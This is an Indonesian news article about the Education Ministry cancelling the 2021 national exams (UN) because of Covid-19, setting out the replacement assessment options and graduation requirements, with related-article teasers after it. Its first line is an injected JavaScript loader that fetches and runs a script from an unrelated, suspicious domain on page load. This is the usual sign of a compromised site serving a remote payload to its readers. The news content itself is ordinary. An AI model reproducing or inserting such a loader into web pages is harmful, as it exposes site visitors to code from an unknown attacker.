(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Kementerian Pendidikan dan Kebudayaan (Kemendikbud) resmi menghapus Ujian Nasional (UN) 2021 bagi siswa kelas 6 SD/sederajat, kelas 9 SMP/sederajat dan kelas 12 SMA/sederajat.
Keputusan UN 2021 dihapus ini merupakan imbas dari pandemi Covid-19 yang semakin meningkat. Tak hanya UN 2021, ujian kesetaraan 2021 juga turut ditiadakan.
Seperti dilansir Kompas.com, keputusan tersebut tertuang dalam Surat Edaran (SE) No. 1 tahun 2021 tentang Peniadaan Ujian Nasional dan Ujian Kesetaraan Serta Pelaksanaan Ujian Sekolah dalam Masa Darurat Penyebaran Corona Virus Disease (Covid-19).
Dengan dihapusnya UN dan ujian kesetaraan 2021, Kemendikbud memberikan sejumlah opsi pengganti UN 2021 sebagai syarat kelulusan bagi siswa tingkat akhir. Pengganti Ujian Nasional 2021 ini dilakukan sesuai kebijakan dari masing-masing satuan pendidikan.
Berikut 4 opsi pengganti UN 2021:
1) Portofolio berupa evaluasi atas nilai rapor, nilai sikap/perilaku, dan prestasi yang diperoleh sebelumnya (penghargaan, hasil perlombaan, dan sebagainya).
2) Penugasan.
3) Tes secara luring atau daring.
4) Bentuk kegiatan penilaian lain yang ditetapkan oleh satuan pendidikan.
Meski diberikan opsi pengganti Ujian Nasional, siswa tingkat akhir juga harus memenuhi syarat kelulusan sebagaimana dikeluarkan oleh Kemendikbud, di antaranya:
1) Peserta didik dinyatakan lulus dari satuan/program pendidikan setelah menyelesaikan program pembelajaran di masa pandemi covid-19 yang dibuktikan dengan rapor tiap semester.
2) Peserta didik juga memperoleh nilai sikap atau perilaku minimal baik.
3) Peserta didik mengikuti ujian yang diselenggarakan oleh satuan pendidikan.
Untuk siswa dari Sekolah Menengah Kejuruan (SMK), dapat mengikuti uji kompetensi keahsilan selain mengikuti ujian yang diselenggarakan oleh satuan pendidikan terkait, sesuai dengan ketentuan peraturan perundang-undangan.
Selain UN 2021, ujian kesetaraan alias ujian kejar paket bagi siswa yang menempuh jalur pendidikan non formal (PNF) juga dihapus.
SE itu mengatur tentang Peniadaan Ujian Nasional dan Ujian Kesetaraan Serta Pelaksanaan Ujian Sekolah dalam Masa Darurat Penyebaran Corona Virus Disease (Covid-19). Setidaknya, ada delapan poin penting dalam SE tersebut, termasuk soal pengganti UN 2021 sebagai syarat kelulusan terbaru bagi siswa tingkat akhir.
Selain itu, diatur pula ketentuan kenaikan kelas serta penerimaan peserta didik baru (PPDB). (Kanalkalimantan.com/kompas/suara)
Editor : Cell
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.